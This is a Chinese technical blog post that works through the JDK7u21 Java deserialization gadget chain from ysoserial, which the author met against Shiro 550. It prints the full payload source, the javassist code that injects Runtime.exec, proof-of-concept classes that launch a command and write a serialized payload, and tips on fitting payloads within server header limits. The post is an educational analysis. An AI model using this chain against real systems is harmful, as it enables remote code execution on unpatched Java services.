起因来源于某次的真实的项目经历,碰到Shiro 550,当时尝试各种常见序列化链都失败了,最后JDK7u21 这个序列化链能够成功执行命令,所以对此进行一番学习。
学习JAVA相关内容内容之前,这三个经典概念都是可以回顾和学习。
(1) JVM(Java Virtual Machine)
JVM(java虚拟机),是驻留于内存的抽象计算机。
1.1 主要构成:
类加载器: 将.class 文件加载到内存
字节码验证工具: 检查代码中是否存在访问限制违规
执行引擎: 将字节码转换为可执行的机器码
JIT: 即时编译,用于提高JVM的性能,加快java程序的执行速度
1.2 主要作用:
将java字节码(类文件.class,由JVM指令集, 符号表以及补充信息构成)解释为本地机器码(字节码映射本地机器码),不同的操作系统使用不同的JVM映射规则,使java字节码的解释执行与操作系统无关,从而完成跨平台。
JAVA语言的跨平台性是基于JVM的不跨平台性的
(2) JRE(JAVA Runtime Environment)
JRE(java运行环境),由运行和管理JAVA应用程序的类库和工具组成。
单纯的JVM不能直接运行java程序,需要核心类库的支持,所以可以简单理解
JRE = JVM + 核心类库 + 一些工具(密钥库工具keytool, jar文件解压缩工具...)
(3) JDK(JAVA Development Kit)
java开发工具包,是面向JAVA开发人员使用的SDk(software Development Kit 软件开发工具包)
提供java程序的开发环境和运行环境。
JDK 包含了 JRE、基础类库(Java API,如网络、IO、线程、模型)、java源码编译器javac、以及其他一些开发、诊断、分析、调试、管理的工具和命令,如jar、javah、jdb等
我们平时安装的java环境,大多是 Java SE Development Kit 8u261, 也就是所谓的jdk8,java8, jdk8。
为什么同一个东西,有这么多名称呢,其实这个跟jdk发布历史中改名有关。
1996-01-23 -1999-04-08 发行了 jdk1.0 - jdk1.1.8
1998-12-04 - 2003-0626 发行了 j2se 1.2 (jdk 1.2 开始了改名)
2004-09-30 发行了Java SE 5.0 (1.5.0) (jdk 1.5.0 又开始了改名)
..
Java SE 6.0 (1.6.0)
Java SE 7.0 (1.7.0)
...
Java SE 11.0
等
Java命名方式更改的事件原因:
1998年12月8日,Sun公司发布了第二代Java平台(简称为Java2)的3个版本:J2ME(Java2 Micro Edition,Java2平台的微型版),应用于移动、无线及有限资源的环境;J2SE(Java 2 Standard Edition,Java 2平台的标准版),应用于桌面环境;J2EE(Java 2Enterprise Edition,Java 2平台的企业版),应用于基于Java的应用服务器。
2004年9月30日,J2SE1.5发布。为了表示该版本的重要性,J2SE 1.5更名为Java SE 5.0(内部版本号1.5.0)
2005年6月,Java SE 6正式发布。此时,Java的各种版本已经更名,已取消其中的数字2(如J2EE更名为JavaEE,J2SE更名为JavaSE,J2ME则为JavaME)
java SE 主要应用于电脑上运行的软件】
java ee 是基于se基础上构建,是开发企业级应用的一套APi(标准),主要应用于网站建设。
(其实我们平时用Spring 框架去开发 + tomcat 也可以的,根本不需要下载java ee的jdk)
java se 主要应用于移动设备和嵌入式设备的java应用程序
java se ee me 他们所使用的jdk是一样的,区别的是,内置的类库存在差异。
这里简单介绍我平时的工作流,每个人的爱好都不一样。
1.调试工具:
ideal(调试)、eclipse(开发)
2.安装JDK不同版本:
MAC homebrew 只能直接安装官方最新版的OpenJDK
最新版:
brew install java
jdk8以上:
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk8
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk9
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk10
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk11
brew cask install AdoptOpenJDK/openjdk/adoptopenjdk12
jdk7:
brew cask install homebrew/cask-versions/zulu7
jdk6:
brew cask install homebrew/cask-versions/java6
再低就没有必要了,毕竟都2020年.
查看系统已安装的java版本和路径:/usr/libexec/java_home -V
这样子虽然方便,但是我们依然选择不了自己想要的大版本中的小版本,这里的1.7.0272 已经超过了漏洞的版本,经过测试,没办法打成功的。
那么如何安装更详细的版本呢?
选择合适的操作系统下载,傻瓜化安装即可。
3.下载
git clone https://github.com/frohoff/ysoserial
编译:
cd ysoserial
mvn clean package -DskipTests
基本用法:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 "whoami" > jdk7u21Object.ser
然后直接导入ideal中,下面我们直接在ideal进行ysoserial payload类的导入即可,这样子分析链也方便。
缺陷影响版本: JRE versions <= 7u21
利用限制: 仅依赖于原生库函数
真实影响: 实战环境有机会遇到
package ysoserial.example; import ysoserial.payloads.Jdk7u21; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; public class JDK7u21 { public static void main(String[] args) { try { Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(calc);//序列化对象 objectOutputStream.flush(); objectOutputStream.close(); byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流 ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); Object o = objectInputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
成功执行命令
ysoserial的payload
package ysoserial.payloads; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.LinkedHashSet; import javax.xml.transform.Templates; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.JavaVersion; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /* Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has the same JRE version requirements. See: https://gist.github.com/frohoff/24af7913611f8406eaf3 Call tree: LinkedHashSet.readObject() LinkedHashSet.add() ... TemplatesImpl.hashCode() (X) LinkedHashSet.add() ... Proxy(Templates).hashCode() (X) AnnotationInvocationHandler.invoke() (X) AnnotationInvocationHandler.hashCodeImpl() (X) String.hashCode() (0) AnnotationInvocationHandler.memberValueHashCode() (X) TemplatesImpl.hashCode() (X) Proxy(Templates).equals() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() ... TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.<clinit>() ... Runtime.exec() */ @SuppressWarnings({ "rawtypes", "unchecked" }) @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies() @Authors({ Authors.FROHOFF }) public class Jdk7u21 implements ObjectPayload<Object> { public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type", Templates.class); Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); set.add(proxy); Reflections.setFieldValue(templates, "_auxClasses", null); Reflections.setFieldValue(templates, "_class", null); map.put(zeroHashCodeStr, templates); // swap in real object return set; }
可以看到payload不是很长,但是利用链中的调用还是比较多的,让我们来慢慢分析吧。
别问我为什么这是第一层(payload都是层层嵌套的,这是第一句)
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { // 建立一个templates 对象 final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // Foo.class 没什么很大作用,可能是凑数组数量的,删掉也ok // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }
这里分为两部分,一部分是javassist的动态注入,一部分是templates 属性的设置。
javassist的作用:
通过动态字节码生成一个类,该类的静态代码块中存储恶意代码。
templates属性设置的作用:
Templates.newTransformer() 实例化该恶意类从而触发其静态代码块中的恶意代码。
这部分的理解我们可以通过调试这个简单的触发语句来理解:
public static void main(String[] args) throws Exception { TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");//生成恶意的calc calc.getOutputProperties();//调用getOutputProperties就可以执行calc }
基本的调用栈如下:
calc.getOutputProperties()
执行后
跳转去执行: newTransformer().getOutputProperties()
接着去执行newTransformer()
这个方法。
可以看到在这个方法里面的第一个参数又调用了getTransletInstance()
,继续跟进
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
我们没有设置_class
属性,故进入defineTransletClasses
方法。然后执行
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
调用_class[_transletIndex]
类的无参构造方法,生成类对象。
private void defineTransletClasses() throws TransformerConfigurationException { // 这里我们传入了值 if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } // 引入加载器 TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { // 这里在其他版本会有一句_tfactory.getExternalExtensionsMap() // 为了防止出错,所以我们给_tfactory 设置 transFactory.newInstance() 这个带有getExternalExtensionsMap方法的实例 // 7u21版本下其实加不加都没关系。 return new TransletClassLoader(ObjectFactory.findClassLoader()); } }); try { final int classCount = _bytecodes.length; // 根据_bytecodes传入的数目 _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new Hashtable(); } for (int i = 0; i < classCount; i++) { // 加载字节码转化为对应的类 _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // Check if this is the main class // _transletIndex 默认值是-1 // 所以为了不出错,所以这里字节码转换为对应类的时候,其父类必须是 // ABSTRACT_TRANSLET = com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
_class[i] = loader.defineClass(_bytecodes[i]);
,加载类并不会触发静态方法,但是之后会有一个
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
进行实例化,从而触发我们javassist注入的静态恶意代码。
再次梳理代码流程
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { // 建立一个templates 对象 final T templates = tplClass.newInstance(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); }
这里的核心就是将cmd命令通过makeClassInitializer
方法注入到了StubTransletPayload
但是这个类还有一个要求必须是abstTranslet
的子类,所以这里处理两个类
CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC);
通过javassistd方式将StubTransletPayload
的父类设置为abstTranslet
其实ysoserial做了很多重复的工作(可能有其他作用? 迷。)
从上面我们简单归纳下执行的顺序:
1.TemplatesImpl.getOutputProperties() 2.TemplatesImpl.newTransformer() 3.TemplatesImpl.getTransletInstance() 4.TemplatesImpl.defineTransletClasses() 5.ClassLoader.defineClass() 6.Class.newInstance()
1,2,3,4中都是可以触发的点,但是1,2 是public
方法可以被对象直接调用,而3,4是private
方法,只能被对象可调用方法间接调用。
所以我们第二层的目标就是触发第一点或者第二点。
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type", Templates.class); Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
第二层的核心是怎么触发第一层的TemplatesImpl.newTransformer()
这里选择newTransformer()
方法来触发的原因还是比较取巧和骚气的。
理解这个之前,我们先学习一下java的动态代理机制。
java静态代理: 通过聚合来实现,代理类通过引入被代理类对象。 缺点:不方便批量对接口进行修改
java动态代理:
实现这两个动态代理,有两个重要的接(InvocationHandler)口和类(Proxy)
这个特点经常用在日志记录上面,举一个例子介绍用法:
AppService.java
package proxypractice; public interface AppService { public boolean createApp(String name); }AppServiceImpl.java
package proxypractice; public class AppServiceImpl implements AppService { @Override public boolean createApp(String name) { // TODO Auto-generated method stub System.out.println("APP["+name + "] has beend created!"); return true; } }LoggerInterceptor.java
package proxypractice; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; public class LoggerInterceptor implements InvocationHandler { private Object target; public LoggerInterceptor(Object t) { // TODO Auto-generated constructor stub this.target = t; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { // TODO Auto-generated method stub System.out.println("Entered" + target.getClass().getName()); System.out.println("Method:" + method.getName()); System.out.println("Arguments:" + args[0] ); // call target's method Object result = method.invoke(target, args); return result; } }LoggerInterceptor 作为一个中介类,继承了InvocationHandler,
Proxy.newProxyInstance 则通过传入被代理类、代理接口、LoggerInterceptor对象生成了一个代理对象。
能够实现在调用被代理类方法之前,进入中介类的invoke函数方法里面进行执行前后的处理。
学习完动态代理之后,我们就可以理解上面三句话的作用了。
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type", Templates.class); Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
首先通过Reflections框架通过调用初始化函数创建一个AnnotationInvocationHandler对象实例。
然后设置了type
属性为Templates.class
然后创建了一个Templates
类型的代理,hook了所有接口。(这里绑定什么类都没关系的,因为我们需要的是equals
方法,默认继承Object根类都自带这个方法,下面会说的)
我们重新写一个只涉及两层利用的POC,通过debug的方式去分析。
package ysoserial.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Reflections; import javax.xml.transform.Templates; import java.lang.reflect.InvocationHandler; import java.util.HashMap; public class TwoTest { public static void main(String[] args) throws Exception { TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("open /System/Applications/Calculator.app");//生成恶意的calc HashMap map = new HashMap(); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type", Templates.class); Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); proxy.equals(calc); } }
调用栈如下,开始逐一分析吧。
这里就是检验equals
这个方法是不是被重写了,原生的话是会进入equalsImpl
这个函数的。
private Boolean equalsImpl(Object var1) { // 判断var1是否为AnnotationInvocationHandle,var1是templates,pass if (var1 == this) { return true; // 构造限制点,type属性限制了var1必须为this.type的类实例 } else if (!this.type.isInstance(var1)) { return false; } else { //这里获取了当前成员的方法 Method[] var2 = this.getMemberMethods(); int var3 = var2.length; for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; //遍历获取方法 String var6 = var5.getName(); //获取方法名字 Object var7 = this.memberValues.get(var6);//获取memberValues中的值 Object var8 = null; // Proxy.isProxyClass(var1.getClass() // 判断varl是不是代理类,显然不是,pass AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { // 这里直接进行了方法的调用核心。 // var5是方法名,var1是可控的类 // var1.var5() var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } } if (!memberValueEquals(var7, var8)) { return false; } } return true; } }
我们的目的是`TemplatesImpl.newTransformer()
那么我们var1可以通过proxy(var1)
方式去控制,那么var5怎么去控制方法的呢?
Method[] var2 = this.getMemberMethods();
可以看到这里获取了成员的方法,我们选择跟进去看看。
private Method[] getMemberMethods() { if (this.memberMethods == null) { this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() { public Method[] run() { Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods(); AccessibleObject.setAccessible(var1, true); return var1; } }); } return this.memberMethods; }
结果发现是通过反射机制从this.type
这个类属性去获取的。
Reflections.setFieldValue(tempHandler, "type", Templates.class);
所以这里我们只要控制type为Templates.class
就行了。
里面就有newTransformer
方法,且为第一个,如果是第二个、第三个话,前面可能会因为参数不对等原因出现错误,导致程序没能执行到newTransformer
方法就中断了。
第三层的核心就是触发proxy.equals(calc);
final Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type", Templates.class); Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); set.add(proxy); Reflections.setFieldValue(templates, "_auxClasses", null); Reflections.setFieldValue(templates, "_class", null); map.put(zeroHashCodeStr, templates); // swap in real object
这里我们可以直观梳理出第三层关键作用的代码:
LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); set.add(proxy);
这是最外层LinkedHashSet
,这个对象在反序列化的时候会自动触发readObject
方法,从而开始了exp的执行流程
通过查看序列化规则writeObject
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException { // Write out any hidden serialization magic s.defaultWriteObject(); // Write out HashMap capacity and load factor s.writeInt(map.capacity()); s.writeFloat(map.loadFactor()); // Write out size s.writeInt(map.size()); // Write out all elements in the proper order. for (E e : map.keySet()) s.writeObject(e); }
我们可以知道它的序列化规则
s.defaultWriteObject(); s.writeInt(map.capacity()); s.writeFloat(map.loadFactor()); s.writeInt(map.size()); for (E e : map.keySet()) s.writeObject(e);
可以看到有个获取map大小,然后循环写入的过程。(也就是循环写入每一个元素)
在我们的exp里面分别按顺序执行set.add(templates);
、set.add(proxy);
添加了两个元素。
这到底是为什么需要两个呢?
还有就是
String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); ....... InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); map.put(zeroHashCodeStr, templates); // swap in real object
我们对创建的代理对象设置了一个特殊的HashMap map
,
作为了memberValues
属性的值。 让我们带着这两个问题去分析一下。
从readObject开始分析
这里先取出了我们先传入第一个templates
, 其中PRESENT
是一个空的Object 跟进看下 map.put
方法的处理
public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null; }
因为table一开始为空的,所以我们第一次进入不了循环,最后进入
传入了我们第一个实例通过hash()
计算出的hash、实例和空object和 indexFor()
计算出的i值
通过addEntry
方法添加到了table
这个Entry中,继续往下执行,
跳转回map.put(e, PRESENT);
传入我们第二个代理实例。
先记住当前传入的这些值,后面就会发现这些值会有神奇的作用。
我们继续重复上次的操作,先计算hash
因为是代理对象,执行方法的时候会进入invoke
我们跟进hashCodeImpl
private int hashCodeImpl() { int var1 = 0; Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); } return var1; }
var2遍历我们传入的map对象,其中var3就是我们的map对象。
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue()
其中
var3.getKey()).hashCode()
这个值f5a5a608
计算结果为0.
memberValueHashCode(var3.getValue()
这个值直接返回map.put(zeroHashCodeStr, templates);
中的templates
的hashcode
结果。
所以
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
其实就是:
var1 += 0^memberValueHashCode(var3.getValue())
0^x =x
,所以结果就是templates
的hashcode
的结果。
这个结果恰好是我们第一次传入的对象结果。
LinkedHashSet set = new LinkedHashSet(); // maintain order // 第一次传入的是templates实例 set.add(templates); // 第二次传入的是proxy代理实例 set.add(proxy);
虽然我们传入的两个不一样的东西,但是计算hashcode的时候,代理实例的值使我们可以通过设置this.memberValue
来控制的。
后面继续向下走:
e.hash == hash && ((k = e.key) == key || key.equals(k))
首先e.hash == hash
这个是满足的,根据&& 短路原则,会继续计算右边的结果,(k = e.key) == key
这里进行了赋值K = e.key
所以k就是templates
,显然不会等于代理类对象key。根据 ||的短路原则
最终进入了key.equals(k)
,也就是前面我们所说的proxy.equals(calc)
,成功完成整个反序列化的RCE链。
package ysoserial.example; import ysoserial.payloads.Jdk7u21; import java.io.*; public class PayloadOk { public static void main(String[] args) { try { Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流 ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("/tmp/payload.ser"))); objectOutputStream.writeObject(calc);//序列化对象 objectOutputStream.flush(); objectOutputStream.close(); } catch (Exception e) { e.printStackTrace(); } } }
可以看到这个POC的Base64之后大小只有3489个字节。常见的nginx header头部max length 4096和tomcat的8192
都可以兼容这个POC。
我们可以继续浏览下其他的反序列化链的大小。
可以看到不同的POC,字节大小的区别还是挺大的,针对不同的容器,选择不同的POC,以及对POC的优化还是很有必要的。
这个链条第一次看的时候感觉真的挺复杂的,但是通过分析之后,理解起来还是比较简单的。但是能够发现这个反序列化链绝对是神级大佬级别的(好奇ing,这种链条的发现真的骚)。后面分析下如何在Shiro 550 tomcat环境中利用该链条执行命令回显。